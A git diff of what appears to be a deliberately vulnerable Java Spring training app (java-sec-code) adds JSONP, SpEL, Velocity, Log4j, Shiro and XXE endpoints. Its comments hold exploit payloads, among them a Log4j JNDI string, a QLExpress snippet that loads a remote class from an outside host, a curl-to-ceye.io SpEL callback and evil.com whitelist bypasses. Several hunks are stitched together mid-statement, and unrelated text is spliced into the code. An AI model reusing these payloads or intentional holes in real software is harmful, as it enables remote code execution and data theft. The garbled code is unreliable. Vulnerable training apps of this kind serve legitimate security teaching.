+ * Adding callback or _callback on parameter can automatically return jsonp data.
+ * http://localhost:8080/jsonp/object2jsonp?callback=test
+ * http://localhost:8080/jsonp/object2jsonp?_callback=test
+ *
+ * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
+ * Such as JSONOjbect or JavaBean. String type cannot be used.
+ */
+ @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE)
+ public JSONObject advice(HttpServletRequest request) {
+ return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+
+ /**
+ * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test
+ * Reference: https://p0sec.net/index.php/archives/122/ from p0
+ * Affected version: java-sec-code test case version: 4.3.6
+ * - Spring Framework 5.0 to 5.0.6
+ * - Spring Framework 4.1 to 4.3.17
+ */
+ @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
+ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
+ ModelAndView view = new ModelAndView(new MappingJackson2JsonView());
+ Principal principal = req.getUserPrincipal();
+ view.addObject("username", principal.getName());
+ return view;
+ }
+
+
+ /**
+ * Safe code.
+ * http://localhost:8080/jsonp/sec?callback_=test
+ */
+ @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript")
+ public String safecode(HttpServletRequest request) {
+ String referer = request.getHeader("referer");
+
+ if (SecurityUtil.checkURL(referer) == null) {
+ return "error";
+ }
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+ /**
+ * http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa
+ *
+ * object to jsonp
+ */
+ @GetMapping("/getToken")
+ public CsrfToken getCsrfToken1(CsrfToken token) {
+ return token;
+ }
+
+ /**
+ * http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa
+ *
+ * fastjsonp to jsonp
+ */
+ @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript")
+ public String getCsrfToken2(HttpServletRequest request) {
+ CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token
+
+ String callback = request.getParameter("fastjsonpCallback");
+ if (StringUtils.isNotBlank(callback)) {
+ JSONPObject jsonpObj = new JSONPObject(callback);
+ jsonpObj.addParameter(csrfToken);
+ return jsonpObj.toString();
+ } else {
+ return csrfToken.toString();
+ }
+ }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java
new file mode 100644
index 00000000..f3e4c126
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jwt.java
@@ -0,0 +1,64 @@
+package org.joychou.controller;
+
+import lombok.extern.slf4j.Slf4j;
+import org.joychou.util.CookieUtils;
+import org.joychou.util.JwtUtils;
+import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+/**
+ *
+ */
+@Slf4j
+@RestController
+@RequestMapping("/jwt")
+public class Jwt {
+
+ private static final String COOKIE_NAME = "USER_COOKIE";
+ /**
+ * http://localhost:8080/jwt/createToken
+ * Create jwt token and set token to cookies.
+ *
+ * @author JoyChou 2022-09-20
+ */
+ @GetMapping("/createToken")
+ public String createToken(HttpServletResponse response, HttpServletRequest request) {
+ String loginUser = request.getUserPrincipal().getName();
+ log.info("Current login user is " + loginUser);
+
+ if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){
+ return String.format("%s cookie delete failed", COOKIE_NAME);
+ }
+ String token = JwtUtils.generateTokenByJavaJwt(loginUser);
+ Cookie cookie = new Cookie(COOKIE_NAME, token);
+
+ cookie.setMaxAge(86400); // 1 DAY
+ cookie.setPath("/");
+ cookie.setSecure(true);
+ response.addCookie(cookie);
+ return "Add jwt token cookie successfully. Cookie name is USER_COOKIE";
+ }
+
+
+ /**
+ * http://localhost:8080/jwt/getName
+ * Get nickname from USER_COOKIE
+ *
+ * @author JoyChou 2022-09-20
+ * @param user_cookie cookie
+ * @return nickname
+ */
+ @GetMapping("/getName")
+ public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) {
+ String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie);
+ return "Current jwt user is " + nickname;
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java
new file mode 100644
index 00000000..b2ea4060
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Log4j.java
@@ -0,0 +1,29 @@
+package org.joychou.controller;
+
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class Log4j {
+
+ private static final Logger logger = LogManager.getLogger("Log4j");
+
+ /**
+ * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75}
+ * Default: error/fatal/off
+ * Fix: Update log4j to lastet version.
+ */
+ @RequestMapping(value = "/log4j")
+ public String log4j(String token) {
+ logger.error(token);
+ return token;
+ }
+
+ public static void main(String[] args) {
+ String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}";
+ logger.error(poc);
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java
index 542f94e5..16769e4a 100644
--- a/src/main/java/org/joychou/controller/Login.java
+++ b/src/main/java/org/joychou/controller/Login.java
@@ -25,7 +25,7 @@ public String login() {
}
@GetMapping("/logout")
- public String logoutPage (HttpServletRequest request, HttpServletResponse response) {
+ public String logoutPage(HttpServletRequest request, HttpServletResponse response) {
String username = request.getUserPrincipal().getName();
diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java
index 76f9a2ce..1976b01b 100644
--- a/src/main/java/org/joychou/controller/PathTraversal.java
+++ b/src/main/java/org/joychou/controller/PathTraversal.java
@@ -41,9 +41,9 @@ private String getImgBase64(String imgFile) throws IOException {
logger.info("File path: " + imgFile);
File f = new File(imgFile);
- if(f.exists() && !f.isDirectory()) {
- byte[] data = Files.readAllBytes( Paths.get(imgFile) );
- return new String( Base64.encodeBase64(data) );
+ if (f.exists() && !f.isDirectory()) {
+ byte[] data = Files.readAllBytes(Paths.get(imgFile));
+ return new String(Base64.encodeBase64(data));
} else {
return "File doesn't exist or is not a file.";
}
diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java
new file mode 100644
index 00000000..663589cd
--- /dev/null
+++ b/src/main/java/org/joychou/controller/QLExpress.java
@@ -0,0 +1,44 @@
+package org.joychou.controller;
+
+import com.ql.util.express.DefaultContext;
+import com.ql.util.express.ExpressRunner;
+import com.ql.util.express.config.QLExpressRunStrategy;
+import org.joychou.util.WebUtils;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+@RestController(value = "/qlexpress")
+public class QLExpress {
+
+ /**
+ * url = 'http://sb.dog:8888/';
+ * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);
+ * classLoader.loadClass('Hello').newInstance();
+ */
+ @RequestMapping("/vuln1")
+ public String vuln1(HttpServletRequest req) throws Exception{
+ String express = WebUtils.getRequestBody(req);
+ System.out.println(express);
+ ExpressRunner runner = new ExpressRunner();
+ DefaultContext Sql injection jbdc vuln code. Sql injection jbdc security code by using {@link PreparedStatement}. Incorrect use of prepareStatement. PrepareStatement must use ? as a placeholder. Sql injection of mybatis vuln code. select * from users where username = 'joychou' or '1'='1' Sql injection of mybatis vuln code. select * from users where username like '%joychou' or '1'='1%' Sql injection of mybatis vuln code. select * from users order by id desc-- asc Sql injection mybatis security code. Sql injection mybatis security code. Sql injection mybatis security code. Order by sql injection mybatis security code by using sql filter. select * from users order by id asc
+ * The default setting of followRedirects is true.
* http://localhost:8080/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
* Open a calculator in MacOS.
*
* @param template exp
*/
@GetMapping("/velocity")
- private static void velocity(String template){
+ public void velocity(String template) {
Velocity.init();
VelocityContext context = new VelocityContext();
diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java
new file mode 100644
index 00000000..2dc143ca
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Shiro.java
@@ -0,0 +1,49 @@
+package org.joychou.controller;
+
+
+import lombok.extern.slf4j.Slf4j;
+import org.apache.shiro.crypto.AesCipherService;
+import org.joychou.config.Constants;
+import org.joychou.util.CookieUtils;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.*;
+import static org.springframework.web.util.WebUtils.getCookie;
+
+@Slf4j
+@RestController
+public class Shiro {
+
+ byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
+ private final static String DELETE_ME = "deleteMe";
+ AesCipherService acs = new AesCipherService();
+
+
+ @GetMapping(value = "/shiro/deserialize")
+ public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) {
+ Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE);
+ if (null == cookie) {
+ return "No rememberMe cookie. Right?";
+ }
+
+ try {
+ String rememberMe = cookie.getValue();
+ byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe);
+ byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes();
+ ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt);
+ ObjectInputStream in = new ObjectInputStream(bytes);
+ in.readObject();
+ in.close();
+ } catch (Exception e){
+ if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){
+ log.error(e.getMessage());
+ return "RememberMe cookie decrypt error. Set deleteMe cookie success.";
+ }
+ }
+
+ return "Shiro deserialize";
+ }
+}
diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java
index 28fdafde..452180b8 100644
--- a/src/main/java/org/joychou/controller/SpEL.java
+++ b/src/main/java/org/joychou/controller/SpEL.java
@@ -1,38 +1,64 @@
package org.joychou.controller;
-import org.springframework.expression.EvaluationContext;
+import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
+import org.springframework.expression.common.TemplateParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
+import org.springframework.expression.spel.support.SimpleEvaluationContext;
+import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
/**
- * SpEL Injection
- *
+ * SpEL Injection.
* @author JoyChou @2019-01-17
*/
@RestController
public class SpEL {
/**
- * SPEL to RCE
- * http://localhost:8080/spel/vul/?expression=xxx.
- * xxx is urlencode(exp)
- * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
+ * Use Spel to execute cmd.
+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator")
*/
- @RequestMapping("/spel/vul")
- private static String rce(String expression) {
+ @RequestMapping("/spel/vuln1")
+ public String spel_vuln1(String value) {
ExpressionParser parser = new SpelExpressionParser();
- // fix method: SimpleEvaluationContext
- String result = parser.parseExpression(expression).getValue().toString();
- return result;
+ return parser.parseExpression(value).getValue().toString();
+ }
+
+ /**
+ * Use Spel to execute cmd.
+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')}
+ * Exploit must add
+ * http://localhost:8080/url/vuln/contains?url=http://joychou.org.bypass.com
+ * http://localhost:8080/url/vuln/contains?url=http://bypassjoychou.org
*/
- @RequestMapping("/contains")
- @ResponseBody
- public String contains(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
+ @GetMapping("/vuln/contains")
+ public String contains(@RequestParam("url") String url) {
- for (String domain: domainwhitelist){
+ String host = SecurityUtil.gethost(url);
+
+ for (String domain : domainwhitelist) {
if (host.contains(domain)) {
return "Good url.";
}
@@ -70,18 +69,15 @@ public String contains(HttpServletRequest request) throws Exception{
/**
* bypass poc: bypassjoychou.org. It's the same with endsWith.
- * http://localhost:8080/url/regex?url=http://aaajoychou.org
- *
+ * http://localhost:8080/url/vuln/regex?url=http://aaajoychou.org
*/
- @RequestMapping("/regex")
- @ResponseBody
- public String regex(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- URL u = new URL(url);
- String host = u.getHost().toLowerCase();
+ @GetMapping("/vuln/regex")
+ public String regex(@RequestParam("url") String url) {
+ String host = SecurityUtil.gethost(url);
Pattern p = Pattern.compile("joychou\\.org$");
Matcher m = p.matcher(host);
+
if (m.find()) {
return "Good url.";
} else {
@@ -91,138 +87,85 @@ public String regex(HttpServletRequest request) throws Exception{
/**
- * bypass poc: joychou.org.bypass.com or bypassjoychou.org. It's the same with contains.
- * http://localhost:8080/url/indexof?url=http://joychou.org.bypass.com http://bypassjoychou.org
+ * The bypass of using {@link java.net.URL} to getHost.
+ *
+ * bypass 1
+ * bypass 2
*
+ *
+ * More details
*/
- @RequestMapping("/indexof")
- @ResponseBody
- public String indexOf(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- URL u = new URL(url);
- String host = u.getHost();
- // If indexOf returns -1, it means that no string was found.
- for (String domain: domainwhitelist){
- if (host.indexOf(domain) != -1) {
- return "Good url.";
- }
- }
- return "Bad url.";
- }
+ @GetMapping("/vuln/url_bypass")
+ public void url_bypass(String url, HttpServletResponse res) throws IOException {
- /**
- * The bypass of using java.net.URL to getHost.
- *
- * Bypass poc1: curl -v 'http://localhost:8080/url/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html'
- * Bypass poc2: curl -v 'http://localhost:8080/url/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html'
- *
- * Detail: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass
- */
- @RequestMapping("/url_bypass")
- @ResponseBody
- public String url_bypass(HttpServletRequest request) throws Exception{
- String url = request.getParameter("url");
- System.out.println("url: " + url);
- URL u = new URL(url);
+ logger.info("url: " + url);
- if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) {
- return "Url is not http or https";
+ if (!SecurityUtil.isHttp(url)) {
+ return;
}
- String host = u.getHost().toLowerCase();
- System.out.println("host: " + host);
+ URL u = new URL(url);
+ String host = u.getHost();
+ logger.info("host: " + host);
// endsWith .
- for (String domain: domainwhitelist){
+ for (String domain : domainwhitelist) {
if (host.endsWith("." + domain)) {
- return "Good url.";
+ res.sendRedirect(url);
}
}
- return "Bad url.";
}
-
/**
- * First-level host whitelist.
- * http://localhost:8080/url/seccode1?url=http://aa.taobao.com
- *
+ * First-level & Multi-level host whitelist.
+ * http://localhost:8080/url/sec?url=http://aa.joychou.org
*/
- @RequestMapping("/seccode1")
- @ResponseBody
- public String seccode1(HttpServletRequest request) throws Exception{
+ @GetMapping("/sec")
+ public String sec(@RequestParam("url") String url) {
- String whiteDomainlists[] = {"taobao.com", "tmall.com"};
- String url = request.getParameter("url");
+ String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"};
- URI uri = new URI(url);
- if (!url.startsWith("http://") && !url.startsWith("https://")) {
+ if (!SecurityUtil.isHttp(url)) {
return "SecurityUtil is not http or https";
}
- String host = uri.getHost().toLowerCase();
+ String host = SecurityUtil.gethost(url);
- // endsWith .
- for (String domain: whiteDomainlists){
- if (host.endsWith("." + domain)) {
- return "Good url.";
+ for (String whiteHost: whiteDomainlists){
+ if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) {
+ return url;
+ } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) {
+ return url;
}
}
return "Bad url.";
}
- /**
- * Muti-level host whitelist.
- * http://localhost:8080/url/seccode2?url=http://ccc.bbb.taobao.com
- *
- */
- @RequestMapping("/seccode2")
- @ResponseBody
- public String seccode2(HttpServletRequest request) throws Exception{
- String whiteDomainlists[] = {"aaa.taobao.com", "ccc.bbb.taobao.com"};
- String url = request.getParameter("url");
-
- URI uri = new URI(url);
- if (!url.startsWith("http://") && !url.startsWith("https://")) {
- return "SecurityUtil is not http or https";
- }
- String host = uri.getHost().toLowerCase();
-
- // equals
- for (String domain: whiteDomainlists){
- if (host.equals(domain)) {
- return "Good url.";
- }
- }
- return "Bad url.";
- }
/**
- * Muti-level host whitelist.
- * http://localhost:8080/url/seccode3?url=http://ccc.bbb.taobao.com
- *
+ * http://localhost:8080/url/sec/array_indexOf?url=http://ccc.bbb.joychou.org
*/
- @RequestMapping("/seccode3")
- @ResponseBody
- public String seccode3(HttpServletRequest request) throws Exception{
+ @GetMapping("/sec/array_indexOf")
+ public String sec_array_indexOf(@RequestParam("url") String url) {
// Define muti-level host whitelist.
- ArrayList 动态添加WebSockets实现命令执行
+ * 1. WebSocket的端口和Spring端口一致。
+ * http://localhost:8080/websocket/cmd?path=/ws/shell JoyChou @ 2023年02月20日
- * http://localhost:8080/jsonp/referer?callback=test
- */
- @RequestMapping(value = "/referer", produces = "application/javascript")
- private String referer(HttpServletRequest request) {
- String callback = request.getParameter("callback");
- return callback + "(" + getUserInfo(request) + ")";
- }
-
- /**
- * Direct access does not check Referer, non-direct access check referer.
- * Developer like to do jsonp testing like this.
- *
- * http://localhost:8080/jsonp/emptyReferer?callback=test
- */
- @RequestMapping(value = "/emptyReferer", produces = "application/javascript")
- private String emptyReferer(HttpServletRequest request) {
- String referer = request.getHeader("referer");
-
- if (null != referer && !SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
- return "error";
- }
-
- String callback = request.getParameter("callback");
- return callback + "(" + getUserInfo(request) + ")";
- }
-
- /**
- * Adding callback or cback on parameter can automatically return jsonp data.
- * http://localhost:8080/jsonp/advice?callback=test
- * http://localhost:8080/jsonp/advice?_callback=test
- *
- * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
- * Such as JSONOjbect or JavaBean. String type cannot be used.
- */
- @RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE)
- public JSONObject advice(HttpServletRequest request) {
- return JSON.parseObject(getUserInfo(request));
-
- }
-
- /**
- * Safe code.
- * http://localhost:8080/jsonp/sec?callback=test
- */
- @RequestMapping(value = "/sec", produces = "application/javascript")
- private String safecode(HttpServletRequest request) {
- String referer = request.getHeader("referer");
-
- if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
- return "error";
- }
-
- String callback = request.getParameter("callback");
- return callback + "(" + getUserInfo(request) + ")";
- }
-
-
- /**
- * http://localhost:8080/jsonp/getToken
- *
- * @return token {"token":"115329a7-3a85-4c31-9c02-02fa1bd1fdf8","parameterName":"_csrf","headerName":"X-XSRF-TOKEN"}
- */
- @RequestMapping("/getToken")
- public CsrfToken csrf(CsrfToken token) {
- return token;
- }
-
-}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
deleted file mode 100644
index 094070a4..00000000
--- a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package org.joychou.controller.jsonp;
-
-import org.springframework.beans.factory.annotation.Value;
-import org.springframework.web.bind.annotation.ControllerAdvice;
-import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice;
-
-
-@ControllerAdvice
-public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice {
-
- // method of using @Value in constructor
- public JSONPAdvice(@Value("${joychou.security.jsonp.callback}") String[] callback) {
- super(callback); // Can set multiple paramNames
- }
-}
diff --git a/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
new file mode 100644
index 00000000..3000d558
--- /dev/null
+++ b/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java
@@ -0,0 +1,75 @@
+package org.joychou.controller.othervulns;
+
+import org.apache.poi.xssf.usermodel.XSSFCell;
+import org.apache.poi.xssf.usermodel.XSSFRow;
+import org.apache.poi.xssf.usermodel.XSSFSheet;
+import org.apache.poi.xssf.usermodel.XSSFWorkbook;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.multipart.MultipartFile;
+
+import java.io.IOException;
+import java.util.Iterator;
+
+
+/**
+ * Desc: poi-ooxml xxe vuln code
+ * Usage: [Content_Type].xml http://localhost:8080/ooxml/upload
+ * Ref: https://www.itread01.com/hkpcyyp.html
+ * Fix: Update poi-ooxml to 3.15 or above.
+ * Vuln: 3.10 or below exist xxe vuln. 3.14 or below exist dos vuln. So 3.15 or above is safe version.
+ *
+ * @author JoyChou @2019-09-05
+ */
+@Controller
+@RequestMapping("ooxml")
+public class ooxmlXXE {
+
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+
+ @GetMapping("/upload")
+ public String index() {
+ return "xxe_upload"; // return xxe_upload.html page
+ }
+
+
+ @PostMapping("/readxlsx")
+ @ResponseBody
+ public String ooxml_xxe(MultipartFile file) throws IOException {
+ XSSFWorkbook wb = new XSSFWorkbook(file.getInputStream()); // xxe vuln
+
+ XSSFSheet sheet = wb.getSheetAt(0);
+ XSSFRow row;
+ XSSFCell cell;
+
+ Iterator rows = sheet.rowIterator();
+ StringBuilder sbResult = new StringBuilder();
+
+ while (rows.hasNext()) {
+
+ row = (XSSFRow) rows.next();
+ Iterator cells = row.cellIterator();
+
+ while (cells.hasNext()) {
+ cell = (XSSFCell) cells.next();
+
+ if (cell.getCellType() == XSSFCell.CELL_TYPE_STRING) {
+ sbResult.append(cell.getStringCellValue()).append(" ");
+ } else if (cell.getCellType() == XSSFCell.CELL_TYPE_NUMERIC) {
+ sbResult.append(cell.getNumericCellValue()).append(" ");
+ } else {
+ logger.info("errors");
+ }
+ }
+ }
+
+ return sbResult.toString();
+ }
+}
diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
new file mode 100644
index 00000000..d3107c3e
--- /dev/null
+++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java
@@ -0,0 +1,43 @@
+package org.joychou.controller.othervulns;
+
+import com.monitorjbl.xlsx.StreamingReader;
+
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.multipart.MultipartFile;
+
+import java.io.FileInputStream;
+import java.io.IOException;
+
+
+/**
+ * Desc: xlsx-streamer xxe vuln code
+ * Usage: xl/workbook.xml
+ * Ref: https://www.itread01.com/hkpcyyp.html
+ * Fix: update xlsx-streamer to 2.1.0 or above
+ *
+ * @author JoyChou @2019-09-05
+ */
+@Controller
+@RequestMapping("xlsx-streamer")
+public class xlsxStreamerXXE {
+
+
+ @GetMapping("/upload")
+ public String index() {
+ return "xxe_upload"; // return xxe_upload.html page
+ }
+
+
+ @PostMapping("/readxlsx")
+ public void xllx_streamer_xxe(MultipartFile file) throws IOException {
+ StreamingReader.builder().open(file.getInputStream());
+ }
+
+
+ public static void main(String[] args) throws Exception {
+ StreamingReader.builder().open((new FileInputStream("poc.xlsx")));
+ }
+}
diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java
index b9bc8341..0b8eb3b0 100644
--- a/src/main/java/org/joychou/dao/User.java
+++ b/src/main/java/org/joychou/dao/User.java
@@ -1,34 +1,11 @@
package org.joychou.dao;
-import java.io.Serializable;
+import lombok.Data;
-public class User implements Serializable {
- private static final long serialVersionUID = 1L;
+
+@Data
+public class User {
private Integer id;
private String username;
private String password;
-
- public Integer getId() {
- return id;
- }
- public void setId(Integer id) {
- this.id = id;
- }
-
-
- public String getUsername() {
- return username;
- }
- public void setUsername(String username) {
- this.username = username;
- }
-
-
- public String getPassword() {
- return password;
- }
- public void setPassword(String password) {
- this.password = password;
- }
-
}
diff --git a/src/main/java/org/joychou/filter/BaseCorsFilter.java b/src/main/java/org/joychou/filter/BaseCorsFilter.java
new file mode 100644
index 00000000..9987464f
--- /dev/null
+++ b/src/main/java/org/joychou/filter/BaseCorsFilter.java
@@ -0,0 +1,35 @@
+package org.joychou.filter;
+
+import org.springframework.core.Ordered;
+import org.springframework.core.annotation.Order;
+import org.springframework.stereotype.Component;
+import org.springframework.web.cors.CorsConfiguration;
+import org.springframework.web.cors.UrlBasedCorsConfigurationSource;
+import org.springframework.web.filter.CorsFilter;
+
+/**
+ * 由于CorsFilter和spring security冲突,所以改为下面的代码。
+ */
+@Component
+@Order(Ordered.HIGHEST_PRECEDENCE)
+public class BaseCorsFilter extends CorsFilter {
+
+ public BaseCorsFilter() {
+ super(configurationSource());
+ }
+
+ private static UrlBasedCorsConfigurationSource configurationSource() {
+ CorsConfiguration config = new CorsConfiguration();
+ config.setAllowCredentials(true);
+ config.addAllowedOrigin("joychou.org"); // 不支持
+ config.addAllowedOrigin("http://test.joychou.me");
+ config.addAllowedHeader("*");
+ config.addAllowedMethod("GET");
+ config.addAllowedMethod("POST");
+
+ UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
+ source.registerCorsConfiguration("/cors/sec/corsFilter", config);
+
+ return source;
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
new file mode 100644
index 00000000..271a4562
--- /dev/null
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -0,0 +1,59 @@
+package org.joychou.filter;
+
+
+import javax.servlet.*;
+import javax.servlet.annotation.WebFilter;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+
+/**
+ * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。
+ *
+ * @author JoyChou @ 2019.12.19
+ */
+@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter")
+public class OriginFilter implements Filter {
+
+ @Override
+ public void init(FilterConfig filterConfig) throws ServletException {
+
+ }
+
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ @Override
+ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
+ throws IOException, ServletException {
+
+ HttpServletRequest request = (HttpServletRequest) req;
+ HttpServletResponse response = (HttpServletResponse) res;
+
+ String origin = request.getHeader("Origin");
+ logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL());
+
+ // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑
+ if (origin != null && SecurityUtil.checkURL(origin) == null) {
+ logger.error("[-] Origin check error. " + "Origin: " + origin +
+ "\tCurrent url:" + request.getRequestURL());
+ response.setStatus(response.SC_FORBIDDEN);
+ response.getWriter().println("Invaid cors config by joychou.");
+ return;
+ }
+
+ response.setHeader("Access-Control-Allow-Origin", origin);
+ response.setHeader("Access-Control-Allow-Credentials", "true");
+ response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION");
+
+ filterChain.doFilter(req, res);
+ }
+
+ @Override
+ public void destroy() {
+
+ }
+}
diff --git a/src/main/java/org/joychou/security/HttpFilter.java b/src/main/java/org/joychou/filter/ReferFilter.java
similarity index 52%
rename from src/main/java/org/joychou/security/HttpFilter.java
rename to src/main/java/org/joychou/filter/ReferFilter.java
index 2d6354e7..30a914f3 100644
--- a/src/main/java/org/joychou/security/HttpFilter.java
+++ b/src/main/java/org/joychou/filter/ReferFilter.java
@@ -1,5 +1,4 @@
-package org.joychou.security;
-
+package org.joychou.filter;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
@@ -9,6 +8,7 @@
import org.apache.commons.lang.StringUtils;
import org.joychou.config.WebConfig;
+import org.joychou.security.SecurityUtil;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.util.AntPathMatcher;
@@ -18,19 +18,18 @@
/**
* Check referer for all GET requests with callback parameters.
* If the check of referer fails, a 403 forbidden error page will be returned.
- *
+ *
* Still need to add @ServletComponentScan annotation in Application.java.
- *
*/
@WebFilter(filterName = "referFilter", urlPatterns = "/*")
-public class HttpFilter implements Filter {
+public class ReferFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
- private final Logger logger= LoggerFactory.getLogger(HttpFilter.class);
+ private final Logger logger = LoggerFactory.getLogger(this.getClass());
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain)
@@ -38,34 +37,42 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
-
String refer = request.getHeader("referer");
PathMatcher matcher = new AntPathMatcher();
boolean isMatch = false;
- for (String uri: WebConfig.getReferUris()) {
- if ( matcher.match (uri, request.getRequestURI()) ) {
+
+ // 获取要校验Referer的Uri
